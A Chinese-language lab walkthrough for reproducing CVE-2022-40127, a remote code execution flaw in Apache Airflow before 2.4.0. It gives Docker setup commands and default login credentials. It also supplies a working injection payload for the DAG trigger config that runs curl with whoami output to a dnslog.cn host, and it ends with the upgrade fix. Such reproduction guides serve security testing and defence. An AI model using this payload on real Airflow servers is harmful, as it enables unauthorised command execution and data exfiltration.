Airflow是一个可编程,调度和监控的工作流平台,基于有向无环图(DAG),airflow可以定义一组有依赖的任务,按照依赖依次执行。Apache Airflow的某些版本存在远程代码执行漏洞,如攻击者获取到Apache Airflow后台权限,则可在Apache Airflow应用服务器上执行任意代码。
Apache Airflow < 2.4.0
可根据
https://github.com/Mr-xn/CVE-2022-40127
进行环境搭建
如图所示,执行
mkdir CVE-2022-40127 && cd CVE-2022-40127
创建漏洞环境目录
执行
wget https://github.com/Mr-xn/CVE-2022-40127/raw/main/docker-compose.yaml
拉取漏洞dockr环境文件
执行
mkdir -p ./dags ./logs ./plugins
创建目录
执行
echo -e "AIRFLOW_UID=$(id -u)" > .env
创建环境变量
执行
docker-compose up airflow-init
拉取漏洞docker环境
执行
docker-compose up -d
运行漏洞docker环境
http://ip:8080
出现以下页面代表环境创建成功
复现该漏洞需登录airflow应用
如图所示,通过airflow/airflow
登录应用
点击右小箭头再点击Trigger DAG w/ config
如图所示,访问
http://dnslog.cn/
点击Get SubDomain
获取到域名
2gbu0x.dnslog.cn
返回airflow应用页面,如图所示,在红框内输入POC
{"fxoxx":"\";curl `whoami`.2gbu0x.dnslog.cn;\""}
并点击Trigger
返回dnslog页面,点击Refresh Record即可成功获得代码命令结果
将Apache Airflow版本升级至大于2.4.0版本。
还没有评论,来说两句吧...